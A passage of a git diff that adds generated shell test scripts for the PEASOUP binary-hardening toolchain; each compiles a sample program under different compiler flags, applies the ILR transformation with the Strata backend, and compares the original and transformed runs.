+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c8b83aa331ea6c0eab7d0a847f790049076e139a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..788a59ddeeddac2d6e8d3a64c73968332c262711
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6ed989643af199afd0fb11fea149352d11e02e93
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1a4e6510cac60eeddb09518c6f6b3cfe6111c578
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b389c1b0c38125754f64095c378c896103659ef6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2f8bc15ba09b58e3764174187c0ee8e008496269
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
